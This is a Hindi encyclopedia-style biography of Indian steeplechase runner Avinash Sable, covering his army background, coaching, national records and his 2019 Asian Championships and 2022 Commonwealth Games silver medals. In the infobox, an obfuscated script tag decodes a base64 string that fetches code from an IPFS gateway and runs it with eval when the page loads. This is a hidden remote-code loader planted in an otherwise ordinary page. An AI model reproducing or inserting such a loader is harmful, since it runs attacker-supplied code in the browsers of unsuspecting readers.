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अविनाश साबले

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अविनाश साबले
अविनाश साबले
पूरा नाम अविनाश साबले
जन्म 13 अक्टूबर, 1994
जन्म भूमि मांडवा गांव, ज़िला बीड, महाराष्ट्र
अभिभावक पिता- मुकुंद साबले
कर्म भूमि भारत
खेल-क्षेत्र 3000 मीटर स्टीपल चेज
प्रसिद्धि 3000 मीटर स्टीपलचेस स्पर्धा के भारतीय धावक
नागरिकता भारतीय
कॉमनवेल्थ गेम्स बर्मिंघम, 2022 - 3000 मीटर स्टीपल चेज - रजत
एशियन एथलेटिक्स चैम्पियनशिप दोहा, 2019 - 3000 मीटर स्टीपल चेज - रजत
रेजीमेंट 5 महर रेजीमेंट
कोच अमरीश कुमार
लम्बाई 5 फुट 7 इंच
अन्य जानकारी साल 2019 में पहली बार अविनाश साबले ने अंतरराष्ट्रीय स्तर पर एशियन एथलेटिक्स चैंपियनशिप में 3000 मीटर स्टीपलचेज में भाग लेते हुए सिल्वर मेडल जीता था।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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परिचय

महाराष्ट्र में मांडवा गांव के रहने वाले किसान के बेटे अविनाश साबले 1952 के बाद पुरुषों की 3000 मीटर स्टीपलचेज के लिए क्वालिफाई करने वाले भारत के पहले खिलाड़ी हैं। उन्होंने 2019 में दोहा में हुए मेंस वर्ल्ड एथलेटिक्स चैंपियनशिप फाइनल में 8 मिनट और 21.37 सेकेंड का समय निकालकर ओलिंपिक के लिए क्वालिफाई किया था। अविनाश साबले ने सेना में जाने के बाद एथलेटिक्स प्रतियोगिता में भाग लेना शुरू किया।[1]

साल 2017 तक वे लॉन्ग रेस करते थे, लेकिन उसके बाद वह स्टीपलचेज करने लगे। उन्होंने 2015 में पहली बार इंटर आर्मी क्रॉस कंट्री में भाग लिया। 2016 में उनका वजन बढ़ गया। जिसकी वजह से वह इंटर आर्मी क्रॉस कंट्री में 8वें स्थान पर रहे। वहां उन पर कोच अमरीश कुमार की नजर पड़ी और उन्होंने अविनाश को ट्रेनिंग देने का फैसला लिया। अविनाश ने उनकी निगरानी में अपना वजन कम किया और कुछ ही महीनों बाद 2017 में कोलकाता में टाटा स्टील 25 कि.मी. की दौड़ में इंटरनेशनल एलीट ग्रुप में 14वें स्थान पर रहे। भारतीय एथलीट ग्रुप में वे पहले स्थान पर रहे।

स्टीपलचेज की शुरुआत

अविनाश साबले का नेशनल कैंप के लिए सिलेक्शन नेशनल स्तर पर क्रॉस कंट्री में भाग लेने के बाद हुआ। उन्होंने कुछ सीनियर्स को स्टीपलचेज करते हुए देखा। जिसके बाद उन्होंने ऑफ सीजन में स्टीपलचेज का अभ्यास करने का फैसला किया। कुछ ही महीनों के अभ्यास के बाद उन्होंने स्टीपलचेज में नेशनल रिकॉर्ड तोड़ा। 2019 में पहली बार साबले ने अंतरराष्ट्रीय स्तर पर एशियन एथलेटिक्स चैंपियनशिप में 3000 मीटर स्टीपलचेज में भाग लेते हुए सिल्वर मेडल जीता। वहीं, 2019 में विश्व एथलेटिक्स चैंपियनशिप में 3000 मीटर स्टीपलचेज के फाइनल में पहुंचने वाले पहले भारतीय बने।[1]

सेना में भर्ती

अविनाश साबले 12वीं करने के बाद भारतीय सेना में भर्ती हुए। वे 2013-2014 में सियाचीन में तैनात रहे। उन्हें राजस्थान और सिक्किम में भी तैनात किया गया। 2015 से उन्होंने सेना के इंटर क्रॉस कंट्री में भाग लेना शुरू किया। उनका स्कूल गांव से 12 किलोमीटर दूर था। वहां जाने के लिए कोई साधन नहीं थे। ऐसे में वे 6 साल की उम्र के बाद रोजाना पैदल ही 12 किलोमीटर की दूरी तय कर जाते थे।

फेडरेशन कप में रिकॉर्ड

अविनाश साबले ने पटियाला में फेडरेशन कप सीनियर नेशनल एथलेटिक्स चैंपियनशिप में नया रिकोर्ड बनया था। इसके साथ 26 साल के अविनाश ने दोहा में विश्व एथलेटिक्स चैंपियनशिप के फाइनल में 13वां स्थान हासिल किया था। उन्होंने साल 2019 में 8.21.37 के अपने ही रिकोर्ड को तोड़ दिया था।[2]

राष्ट्रीय रिकॉर्ड को तोड़ा

सेना के इस जवान ने अपने करियर में पांचवी बार राष्ट्रीय रिकॉर्ड को तोड़ा था। अविनाश साबले उस वक्त सुर्खियों में जगह बनाते दिखे थे, जब उन्होंने दिल्ली हाफ मैराथन में राष्ट्रीय रिकॉर्ड को तोड़ा। उन्होंने इस रेस को केवल एक घंटा 30 सेकेंड में पूरा कर लिया था। इससे पहले किसी भी भारतीय ने हाफ मैराथन 61 मिनट से पहले पूरी नहीं की थी।

कॉमनवेल्थ गेम्स, 2022

अविनाश साबले ने नए राष्ट्रीय रिकॉर्ड के साथ बर्मिंघम, इंग्लैंड में आयोजित कॉमनवेल्थ गेम्स, 2022 में 3000 मीटर स्टीपल चेज स्पर्धा का रजत पदक भारत को दिलाया। अविनाश ने 8:11.20 का समय लेते हुए पदक अपने नाम किया। महाराष्ट्र के बीड जिले के रहने वाले अविनाश साबले ने निजी सर्वश्रेष्ठ प्रदर्शन करने के साथ-साथ राष्ट्रीय रिकॉर्ड भी बनाया। वह इस स्पर्धा में कॉमनवेल्थ गेम्स का रजत जीतने वाले पहले भारतीय एथलीट हैं। केन्या के 26 वर्षीय अब्राहम किबिवोत ने स्वर्ण पदक अपने नाम किया। उन्होंने 8:11.15 का समय लिया जबकि केन्या के ही आमोस सेरेम (8:16.83) को कांस्य पदक मिला।

उपलब्धियां और व्यक्तिगत सर्वश्रेष्ठ

  1. राष्ट्रीय रिकॉर्ड - 3000 मीटर स्टीपल चेज - 8:12.48 सेकेंड
  2. राष्ट्रीय रिकॉर्ड - 5000 मीटर - 13:25.65 सेकेंड
  3. राष्ट्रीय रिकॉर्ड - हाफ मैराथन - 1:00:30 सेकेंड
  4. रजत पदक - दोहा, 2019 एशियाई एथलेटिक्स चैंपियनशिप - 3000 मीटर स्टीपल चेज।
  5. लगातार सात बार 3000 मीटर स्टीपल चेज का राष्ट्रीय रिकॉर्ड तोड़ा।
  6. 68 सालों में 3000 मीटर स्टीपल चेज में ओलंपिक के लिए क्वालीफाई करने वाले पहले भारतीय।


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टीका टिप्पणी और संदर्भ

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